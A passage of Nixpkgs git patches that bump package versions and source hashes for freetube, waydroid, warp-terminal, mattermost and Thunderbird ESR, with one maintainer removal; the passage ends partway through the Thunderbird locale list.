+  meta = {
+    description = "Java Object Layout (JOL)";
+    longDescription = ''
+      JOL (Java Object Layout) is the tiny toolbox to analyze object layout in JVMs.
+      These tools are using Unsafe, JVMTI, and Serviceability Agent (SA) heavily to decode the actual object layout, footprint, and references.
+      This makes JOL much more accurate than other tools relying on heap dumps, specification assumptions, etc.
+    '';
+    homepage = "https://openjdk.org/projects/code-tools/jol/";
+    changelog = "https://github.com/openjdk/jol/releases/tag/${version}";
+    license = lib.licenses.gpl2ClasspathPlus;
+    sourceProvenance = with lib.sourceTypes; [
+      fromSource
+      binaryBytecode
+    ];
+    mainProgram = "jol-cli";
+    maintainers = with lib.maintainers; [
+      debling
+      progrm_jarvis
+    ];
+    inherit (jre_minimal.meta) platforms;
+  };
+}

From 5f958c274ea71d12ca9ffe60be9d88bea9aaf24b Mon Sep 17 00:00:00 2001
From: Jost Alemann <jost_alemann@me.com>
Date: Sat, 23 Aug 2025 17:26:05 +0200
Subject: [PATCH 3876/4511] freetube: 0.23.7 -> 0.23.8

Changelog:
https://github.com/FreeTubeApp/FreeTube/releases/tag/v0.23.8-beta
Diff:
https://github.com/FreeTubeApp/FreeTube/compare/v0.23.7-beta...v0.23.8-beta
(cherry picked from commit 0d6b66906da431698d58edeb2c252eba348f9e3a)
---
 pkgs/by-name/fr/freetube/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/fr/freetube/package.nix b/pkgs/by-name/fr/freetube/package.nix
index f2b7d8ac8541..69c1f4f3008a 100644
--- a/pkgs/by-name/fr/freetube/package.nix
+++ b/pkgs/by-name/fr/freetube/package.nix
@@ -20,13 +20,13 @@ let
 in
 stdenvNoCC.mkDerivation (finalAttrs: {
   pname = "freetube";
-  version = "0.23.7";
+  version = "0.23.8";
 
   src = fetchFromGitHub {
     owner = "FreeTubeApp";
     repo = "FreeTube";
     tag = "v${finalAttrs.version}-beta";
-    hash = "sha256-252d80xCWBZnPHnRESxRqYzT40Gu/LLBbzXr2nIJW/I=";
+    hash = "sha256-CHp/6/E/v6UdSe3xoB66Ot24WuZDPdmNyUG1w2w3bX0=";
   };
 
   # Darwin requires writable Electron dist

From 42ea4e0468e79210daee7e4ac003431ad4cfecfa Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 8 Jun 2025 16:53:45 +0000
Subject: [PATCH 3877/4511] waydroid: 1.5.1 -> 1.5.2

(cherry picked from commit 829ec53f616e91a1586e67cf11d7761ecc819821)
---
 pkgs/by-name/wa/waydroid/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wa/waydroid/package.nix b/pkgs/by-name/wa/waydroid/package.nix
index 6eb1bccd68f7..446c15d1bf83 100644
--- a/pkgs/by-name/wa/waydroid/package.nix
+++ b/pkgs/by-name/wa/waydroid/package.nix
@@ -21,14 +21,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "waydroid";
-  version = "1.5.1";
+  version = "1.5.2";
   format = "other";
 
   src = fetchFromGitHub {
     owner = "waydroid";
     repo = "waydroid";
     tag = version;
-    hash = "sha256-G/JQR1C4osbZDUQSqLu48C468W6f2SeNkogVEiGhnmA=";
+    hash = "sha256-wDLnkHcVdHqjaR1Sfu+bhfZO2nfHadG3LgJtYJw6bsQ=";
   };
 
   patches = [

From 9fdcb70d71bf9a9811fb5de09e383fde38d167a0 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 27 Jul 2025 13:48:12 +0000
Subject: [PATCH 3878/4511] warp-terminal: 0.2025.07.09.08.11.stable_01 ->
 0.2025.07.23.08.12.stable_02

(cherry picked from commit 0df4905d50197a97c699d318b8afd86aae44fde1)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 69be747e2ba6..b13d1af8fca2 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-nRI0xtLFyFqqNCZjIH07Dxut4OdZMO3KHHyPeNT3XKo=",
-    "version": "0.2025.07.09.08.11.stable_01"
+    "hash": "sha256-JAqWQ3dfk4B+CNV5knj4HCnpVu3Q5STnyriqaeLPQD0=",
+    "version": "0.2025.07.23.08.12.stable_02"
   },
   "linux_x86_64": {
-    "hash": "sha256-zk3yHo3aimdmgA9bxbQrrZXXWYzNjJRB619PB/MRIG4=",
-    "version": "0.2025.07.09.08.11.stable_01"
+    "hash": "sha256-C9p95LRS/ma5FEIq6ZQqda+dQhgbVT8dhDJIDpCilWI=",
+    "version": "0.2025.07.23.08.12.stable_02"
   },
   "linux_aarch64": {
-    "hash": "sha256-b208xahTJ0e0wABB2m2M7x6CAyHKr/7uHMF/cY4LVfM=",
-    "version": "0.2025.07.09.08.11.stable_01"
+    "hash": "sha256-KGmkuL/4I+oN99ubjtGMrEt6Ijlak9yv39LksPAo8/U=",
+    "version": "0.2025.07.23.08.12.stable_02"
   }
 }

From d51aea2bbf54fd24d1ddcbcc4a60e9eeb8fe61fd Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Mon, 4 Aug 2025 02:51:20 +0300
Subject: [PATCH 3879/4511] warp-terminal: 0.2025.07.23.08.12.stable_02 ->
 0.2025.07.30.08.12.stable_02

Changelog: https://docs.warp.dev/getting-started/changelog#id-2025.07.30-v0.2025.07.30.08.12

(cherry picked from commit d470da27d946f48a658a230e1c0f54caa90712bd)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index b13d1af8fca2..a0cfd095817c 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-JAqWQ3dfk4B+CNV5knj4HCnpVu3Q5STnyriqaeLPQD0=",
-    "version": "0.2025.07.23.08.12.stable_02"
+    "hash": "sha256-3j6Kqlo/nsc+gjSrW5Afuamnh0qb9TnG+sFN4E5pnxc=",
+    "version": "0.2025.07.30.08.12.stable_02"
   },
   "linux_x86_64": {
-    "hash": "sha256-C9p95LRS/ma5FEIq6ZQqda+dQhgbVT8dhDJIDpCilWI=",
-    "version": "0.2025.07.23.08.12.stable_02"
+    "hash": "sha256-GbkTghYchdUdYdvPNAqPv+PD7UJ2sgVc7+AAA+5bHGI=",
+    "version": "0.2025.07.30.08.12.stable_02"
   },
   "linux_aarch64": {
-    "hash": "sha256-KGmkuL/4I+oN99ubjtGMrEt6Ijlak9yv39LksPAo8/U=",
-    "version": "0.2025.07.23.08.12.stable_02"
+    "hash": "sha256-xIf12oEOHQE1+Sz3L/nrqli2tlP0+wWFA9dA+HHNrr0=",
+    "version": "0.2025.07.30.08.12.stable_02"
   }
 }

From 364c64050b10b2f5b95857bb421fd1fa017ac46c Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Thu, 7 Aug 2025 23:07:37 +0300
Subject: [PATCH 3880/4511] warp-terminal: 0.2025.07.30.08.12.stable_02 ->
 0.2025.08.06.08.12.stable_01

(cherry picked from commit f11608be952d3859beddb4efd69e65557ae82db2)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index a0cfd095817c..cbc548582c4d 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-3j6Kqlo/nsc+gjSrW5Afuamnh0qb9TnG+sFN4E5pnxc=",
-    "version": "0.2025.07.30.08.12.stable_02"
+    "hash": "sha256-s4SHM2pU1CZPJZFiWE5VDeSEprLsSYChFazNGOpz+oo=",
+    "version": "0.2025.08.06.08.12.stable_01"
   },
   "linux_x86_64": {
-    "hash": "sha256-GbkTghYchdUdYdvPNAqPv+PD7UJ2sgVc7+AAA+5bHGI=",
-    "version": "0.2025.07.30.08.12.stable_02"
+    "hash": "sha256-u0TH9u1o+g3GngEMg6r78fSZH778kGcKe5tB/lpExZE=",
+    "version": "0.2025.08.06.08.12.stable_01"
   },
   "linux_aarch64": {
-    "hash": "sha256-xIf12oEOHQE1+Sz3L/nrqli2tlP0+wWFA9dA+HHNrr0=",
-    "version": "0.2025.07.30.08.12.stable_02"
+    "hash": "sha256-smg2QiXRlADGBKxl9Wlq2yWsCCi3JwjxhwR13yG70mA=",
+    "version": "0.2025.08.06.08.12.stable_01"
   }
 }

From deb310ca46eb3451e046c9692f5acd42f08d2e87 Mon Sep 17 00:00:00 2001
From: Emily Trau <emily@downunderctf.com>
Date: Mon, 11 Aug 2025 14:34:47 -0400
Subject: [PATCH 3881/4511] warp-terminal: remove emilytrau as maintainer

(cherry picked from commit 8fb58c5db64e4452e0b83f1843ad5c8b205c2f2c)
---
 pkgs/by-name/wa/warp-terminal/package.nix | 1 -
 1 file changed, 1 deletion(-)

diff --git a/pkgs/by-name/wa/warp-terminal/package.nix b/pkgs/by-name/wa/warp-terminal/package.nix
index 0557ca734963..849fb26e59fa 100644
--- a/pkgs/by-name/wa/warp-terminal/package.nix
+++ b/pkgs/by-name/wa/warp-terminal/package.nix
@@ -112,7 +112,6 @@ let
     license = licenses.unfree;
     sourceProvenance = with lib.sourceTypes; [ binaryNativeCode ];
     maintainers = with maintainers; [
-      emilytrau
       imadnyc
       FlameFlag
       johnrtitor

From 46b389794077427bdb91b56624571990b5e42bd2 Mon Sep 17 00:00:00 2001
From: DontEatOreo <57304299+DontEatOreo@users.noreply.github.com>
Date: Mon, 11 Aug 2025 21:18:10 +0300
Subject: [PATCH 3882/4511] warp-terminal: 0.2025.08.06.08.12.stable_01 ->
 0.2025.08.06.08.12.stable_02

(cherry picked from commit 9b04c8710e155decd8c93a8610306a192a34dac0)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index cbc548582c4d..2f52dbc180bf 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-s4SHM2pU1CZPJZFiWE5VDeSEprLsSYChFazNGOpz+oo=",
-    "version": "0.2025.08.06.08.12.stable_01"
+    "hash": "sha256-wO3xE8cSSMaYVc6eoswDcR3acBzWwB/BHbins8ciM4Y=",
+    "version": "0.2025.08.06.08.12.stable_02"
   },
   "linux_x86_64": {
-    "hash": "sha256-u0TH9u1o+g3GngEMg6r78fSZH778kGcKe5tB/lpExZE=",
-    "version": "0.2025.08.06.08.12.stable_01"
+    "hash": "sha256-/Nhy0fyslK8h5zzhwlDJT+6nhNmdBowj/jGOTCunX4w=",
+    "version": "0.2025.08.06.08.12.stable_02"
   },
   "linux_aarch64": {
-    "hash": "sha256-smg2QiXRlADGBKxl9Wlq2yWsCCi3JwjxhwR13yG70mA=",
-    "version": "0.2025.08.06.08.12.stable_01"
+    "hash": "sha256-Jqm2aUg11nrIZUofcLDYZ7BQtaSPx7KrrM91i0bc+ig=",
+    "version": "0.2025.08.06.08.12.stable_02"
   }
 }

From 16d1e1f40fd6b9198735e16539b83813a8f66b64 Mon Sep 17 00:00:00 2001
From: FlameFlag <57304299+FlameFlag@users.noreply.github.com>
Date: Thu, 21 Aug 2025 19:39:12 +0300
Subject: [PATCH 3883/4511] warp-terminal: 0.2025.08.06.08.12.stable_02 ->
 0.2025.08.13.08.12.stable_02

Changelog: https://docs.warp.dev/getting-started/changelog#id-2025.08.13-v0.2025.08.13.08.12

(cherry picked from commit 9db25b08a28b517a6cc3ea0eeb5c668b27daed30)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index 2f52dbc180bf..d6a1d7141aaf 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-wO3xE8cSSMaYVc6eoswDcR3acBzWwB/BHbins8ciM4Y=",
-    "version": "0.2025.08.06.08.12.stable_02"
+    "hash": "sha256-B9Qhh+1vvisdpE9XYQRbJ87Ilo4Qmy9Uvd7Zn4+TLxg=",
+    "version": "0.2025.08.13.08.12.stable_02"
   },
   "linux_x86_64": {
-    "hash": "sha256-/Nhy0fyslK8h5zzhwlDJT+6nhNmdBowj/jGOTCunX4w=",
-    "version": "0.2025.08.06.08.12.stable_02"
+    "hash": "sha256-x87HElhBSrh00LiCcKX9AnWiROVN4SEZTqu7D1R72LI=",
+    "version": "0.2025.08.13.08.12.stable_02"
   },
   "linux_aarch64": {
-    "hash": "sha256-Jqm2aUg11nrIZUofcLDYZ7BQtaSPx7KrrM91i0bc+ig=",
-    "version": "0.2025.08.06.08.12.stable_02"
+    "hash": "sha256-+lv8dpx5fi12rhG258zSj0att/vTi7DidKCYlUCIbvo=",
+    "version": "0.2025.08.13.08.12.stable_02"
   }
 }

From a456165572c75e3ad89821ae2a2dd6e3e6455e05 Mon Sep 17 00:00:00 2001
From: FlameFlag <57304299+FlameFlag@users.noreply.github.com>
Date: Sat, 23 Aug 2025 13:21:49 +0300
Subject: [PATCH 3884/4511] warp-terminal: 0.2025.08.13.08.12.stable_02 ->
 0.2025.08.20.08.11.stable_03

Changelog: https://docs.warp.dev/getting-started/changelog#id-2025.08.20-v0.2025.08.20.08.11

(cherry picked from commit e6ae63f4383d4437930deb293655c1c948e91ec4)
---
 pkgs/by-name/wa/warp-terminal/versions.json | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/pkgs/by-name/wa/warp-terminal/versions.json b/pkgs/by-name/wa/warp-terminal/versions.json
index d6a1d7141aaf..004077f05d14 100644
--- a/pkgs/by-name/wa/warp-terminal/versions.json
+++ b/pkgs/by-name/wa/warp-terminal/versions.json
@@ -1,14 +1,14 @@
 {
   "darwin": {
-    "hash": "sha256-B9Qhh+1vvisdpE9XYQRbJ87Ilo4Qmy9Uvd7Zn4+TLxg=",
-    "version": "0.2025.08.13.08.12.stable_02"
+    "hash": "sha256-qfhEXZbsqLhS1yTWwjbcUwUW5/3mIe2sC+GT6NG9bmY=",
+    "version": "0.2025.08.20.08.11.stable_03"
   },
   "linux_x86_64": {
-    "hash": "sha256-x87HElhBSrh00LiCcKX9AnWiROVN4SEZTqu7D1R72LI=",
-    "version": "0.2025.08.13.08.12.stable_02"
+    "hash": "sha256-8aU5tFqqoD8yABQ2F5axqpD1ppL1FQyu5cY9MBEWgME=",
+    "version": "0.2025.08.20.08.11.stable_03"
   },
   "linux_aarch64": {
-    "hash": "sha256-+lv8dpx5fi12rhG258zSj0att/vTi7DidKCYlUCIbvo=",
-    "version": "0.2025.08.13.08.12.stable_02"
+    "hash": "sha256-xFAMoRQJ1Qpuun+VRmmj8DnJaIk+/48zwyIUO9xl6io=",
+    "version": "0.2025.08.20.08.11.stable_03"
   }
 }

From 9972f436d9b23cf0ad0102152d9b8a6eb9053c29 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Fri, 27 Jun 2025 12:08:15 +0000
Subject: [PATCH 3885/4511] waydroid: 1.5.2 -> 1.5.4

(cherry picked from commit 2c899485e2fd678dc462694d0158d3cbf2f35b63)
---
 pkgs/by-name/wa/waydroid/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/wa/waydroid/package.nix b/pkgs/by-name/wa/waydroid/package.nix
index 446c15d1bf83..7c69c637fe9c 100644
--- a/pkgs/by-name/wa/waydroid/package.nix
+++ b/pkgs/by-name/wa/waydroid/package.nix
@@ -21,14 +21,14 @@
 
 python3Packages.buildPythonApplication rec {
   pname = "waydroid";
-  version = "1.5.2";
+  version = "1.5.4";
   format = "other";
 
   src = fetchFromGitHub {
     owner = "waydroid";
     repo = "waydroid";
     tag = version;
-    hash = "sha256-wDLnkHcVdHqjaR1Sfu+bhfZO2nfHadG3LgJtYJw6bsQ=";
+    hash = "sha256-K4uJ9MVmr5+7O1em1yUJXZj6H8bpfm2ZAE2uqgiyDBQ=";
   };
 
   patches = [

From 0f9b573a9880150fc1bea55296abc495c569d346 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 17 Aug 2025 00:08:44 +0000
Subject: [PATCH 3886/4511] mattermost: 10.5.9 -> 10.5.10

(cherry picked from commit b93eeb740d0ae38bee00d4161f9f4d85bdc401e7)
---
 pkgs/by-name/ma/mattermost/package.nix | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/pkgs/by-name/ma/mattermost/package.nix b/pkgs/by-name/ma/mattermost/package.nix
index aae23999cc15..fe52b09f085f 100644
--- a/pkgs/by-name/ma/mattermost/package.nix
+++ b/pkgs/by-name/ma/mattermost/package.nix
@@ -19,8 +19,8 @@
     #
     # Ensure you also check ../mattermostLatest/package.nix.
     regex = "^v(10\\.5\\.[0-9]+)$";
-    version = "10.5.9";
-    srcHash = "sha256-Jnm6M9d5vkYGX357QiOvCRDPGFpvRrsWqk8+SV0PtBs=";
+    version = "10.5.10";
+    srcHash = "sha256-fQqUoSo8saERRfgx4OT26VQktejzYPPqBIL2OA0PQy0=";
     vendorHash = "sha256-uryErnXPVd/gmiAk0F2DVaqz368H6j97nBn0eNW7DFk=";
     npmDepsHash = "sha256-tIeuDUZbqgqooDm5TRfViiTT5OIyN0BPwvJdI+wf7p0=";
     lockfileOverlay = ''

From cf17cded2f55b746b8c97fbdbbcf4f1c0d64db24 Mon Sep 17 00:00:00 2001
From: "R. Ryantm" <ryantm-bot@ryantm.com>
Date: Sun, 24 Aug 2025 05:13:58 +0000
Subject: [PATCH 3887/4511] thunderbird-esr-bin-unwrapped: 140.1.1esr ->
 140.2.0esr

(cherry picked from commit 785a9e3f8123a2262d0b3d5b4de36ec50bbdd15c)
---
 .../thunderbird-bin/release_esr_sources.nix   | 794 +++++++++---------
 1 file changed, 397 insertions(+), 397 deletions(-)

diff --git a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
index 1908f322506d..edeb29ebb3e1 100644
--- a/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
+++ b/pkgs/applications/networking/mailreaders/thunderbird-bin/release_esr_sources.nix
@@ -1,1193 +1,1193 @@
 {
-  version = "140.1.1esr";
+  version = "140.2.0esr";
   sources = [
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/af/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/af/thunderbird-140.2.0esr.tar.xz";
       locale = "af";
       arch = "linux-x86_64";
-      sha256 = "919982590b3b6354c6856cc20b7fb7776d75c61f829992d10932bc684810bf38";
+      sha256 = "e0603bcf5aeb496411dbacbed98e816a527792d76fc7154fa9825627c91615e3";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ar/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ar/thunderbird-140.2.0esr.tar.xz";
       locale = "ar";
       arch = "linux-x86_64";
-      sha256 = "6ec79300bdd71d797258b4c9e8f943857f69a0ad5cf948fe326fe0dc9517e502";
+      sha256 = "a0110b6746c64c982ac46c3faf220e736743204ae8697a9772ec1502bcc099cb";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ast/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ast/thunderbird-140.2.0esr.tar.xz";
       locale = "ast";
       arch = "linux-x86_64";
-      sha256 = "703b0797401fb7eed922522a8467ba3445ad5a71c0f81c7f4858f42cc080fcef";
+      sha256 = "356190fe33ce6c515ad9ff22e5d8a00253c478c0439c11d4892c21b9c343f89e";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/be/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/be/thunderbird-140.2.0esr.tar.xz";
       locale = "be";
       arch = "linux-x86_64";
-      sha256 = "b0a3f3a4e4a9453b054289e5d939b77db4effcf4667e219c4caf348653e5050f";
+      sha256 = "19599d2d1b67f14de585fd741125d790bd7155f903f9b14b6d89b0af0d144219";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/bg/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/bg/thunderbird-140.2.0esr.tar.xz";
       locale = "bg";
       arch = "linux-x86_64";
-      sha256 = "36bfe0d1acb2ba63bbf8ae34e2c39f3ff90b26f8f5c2bec73fdc9b31d70464e3";
+      sha256 = "3efb0fe35814616f4dadfee73456985e2f0554ef1345dce89ab50b534174ff9c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/br/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/br/thunderbird-140.2.0esr.tar.xz";
       locale = "br";
       arch = "linux-x86_64";
-      sha256 = "0d3a252e23df6de8898912fef53e53b2d050c0dff75dbab4644b7371d27ffb59";
+      sha256 = "ad395c992b4727268fd494fc5e2bd9cd05216db77417a106f74406a30a1e2ac0";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/ca/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/ca/thunderbird-140.2.0esr.tar.xz";
       locale = "ca";
       arch = "linux-x86_64";
-      sha256 = "37e0a46052d49472f75e45d82656aad56b202ba1cd094e271f875e5fe8137a4a";
+      sha256 = "974b0cb086777827abaa6d866248afdea36730d9706bdd257033d85f1fdba6df";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/cak/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/cak/thunderbird-140.2.0esr.tar.xz";
       locale = "cak";
       arch = "linux-x86_64";
-      sha256 = "d7e29fb063478024d7772a867062381252b0db1c4832da0a5254918701ee58c7";
+      sha256 = "e8b8bd3adcb8070f8da652c965d2283c75e756146e08b2493a6d26af2940a30f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/cs/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/cs/thunderbird-140.2.0esr.tar.xz";
       locale = "cs";
       arch = "linux-x86_64";
-      sha256 = "30f6aac467c61950a4e4bf95692d2d68eb1c1e1de3d5987350a8510c413c9991";
+      sha256 = "b8e172fb00f61c404e2070dab7a1049d6fa09c9962482e441b359b34d7d1bdaf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/cy/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/cy/thunderbird-140.2.0esr.tar.xz";
       locale = "cy";
       arch = "linux-x86_64";
-      sha256 = "c94dcd1dc7d235e5c8876bd319aeee64d76747e51a007bdabc2c91ded07da83d";
+      sha256 = "6774a0c1e28f26ad431b16c33bd9b55831b3f43982ea42132cefd4e8237a73bf";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/da/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/da/thunderbird-140.2.0esr.tar.xz";
       locale = "da";
       arch = "linux-x86_64";
-      sha256 = "56ec5ec6044ac84fd669445d4a69a181a62f922b4cd9cbd3e8f7d516f0625a30";
+      sha256 = "6a26d79d8331b5984c24cb3d77dd2deb91773556c77750f90c76a4fd5fc94f5c";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/de/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/de/thunderbird-140.2.0esr.tar.xz";
       locale = "de";
       arch = "linux-x86_64";
-      sha256 = "3fe9deaf6deacba4572081b69e8d872bc98f640515153d7bba203544c5de2a43";
+      sha256 = "39ab6222efdb7abbfe0ffe0ff278ca196df21e4babf61544efd4f6527fc6c66f";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/dsb/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/dsb/thunderbird-140.2.0esr.tar.xz";
       locale = "dsb";
       arch = "linux-x86_64";
-      sha256 = "2be0e2b0d8a7d3d9bb5ccb8124e60ee93bf58a5c60ea0290f30e57724ab1f01c";
+      sha256 = "51c7be3fb39387831032139083e75a52eab974b8911286a4b69d28ae39f79651";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/el/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/el/thunderbird-140.2.0esr.tar.xz";
       locale = "el";
       arch = "linux-x86_64";
-      sha256 = "f260a4ac4dd618f26386aa0b58e439e6071573ddae17dd851bba1e6ec0b56270";
+      sha256 = "3144cba797bd4981e7509db1a6c33cf9256060fb9fdd8516f2ef34f6084dd458";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/en-CA/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/en-CA/thunderbird-140.2.0esr.tar.xz";
       locale = "en-CA";
       arch = "linux-x86_64";
-      sha256 = "1e11b27a7ad2734cc0a05290e60ad9d9c52ab14cfc79ce3ca8c7628021bf86a6";
+      sha256 = "00bd106f0427d2290729830ce037bab93d43fa330f6c167ebccc6b06893154bd";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/en-GB/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/en-GB/thunderbird-140.2.0esr.tar.xz";
       locale = "en-GB";
       arch = "linux-x86_64";
-      sha256 = "f8a5c570c2db66cff6579a3849c2a2ee732b7bcb9d08fc78c0b60b809a28655a";
+      sha256 = "31ab146d1e81f6386b660089173d6a8c61463ccf8c7a507fae55c88ef148bc33";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/en-US/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/en-US/thunderbird-140.2.0esr.tar.xz";
       locale = "en-US";
       arch = "linux-x86_64";
-      sha256 = "13932d2417a5b88f392e52390ef90b43b3e21b2406d2c3c75879acc7a9737d49";
+      sha256 = "9545f2bda88bc3bb57bf90bd2fd1c202cd1982d45632ceb960e40d0889e970c2";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/es-AR/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/es-AR/thunderbird-140.2.0esr.tar.xz";
       locale = "es-AR";
       arch = "linux-x86_64";
-      sha256 = "23abeb1a746f68bf41756de800e28eb713f0e4c2bb3e45af753d60ff82ff102a";
+      sha256 = "7b4498f85ba6c8f7dc042dac54575368793bcca8d69727101b2554f4ecdca7e9";
     }
     {
-      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.1.1esr/linux-x86_64/es-ES/thunderbird-140.1.1esr.tar.xz";
+      url = "http://archive.mozilla.org/pub/thunderbird/releases/140.2.0esr/linux-x86_64/es-ES/thunderbird-140.2.0esr.tar.xz";
       locale = "es-ES";
       arch = "linux-x86_64";
-      sha256 = "6899c7b9216211cfcf8508234feddd40bd0f3878c075fcaa9786154aeb5d761e";
+      sha256 = "6b920b131187964242a2b6c71efc5ba10d1acf670c670c2d371ee2bf7208a1c3";
     }
     {
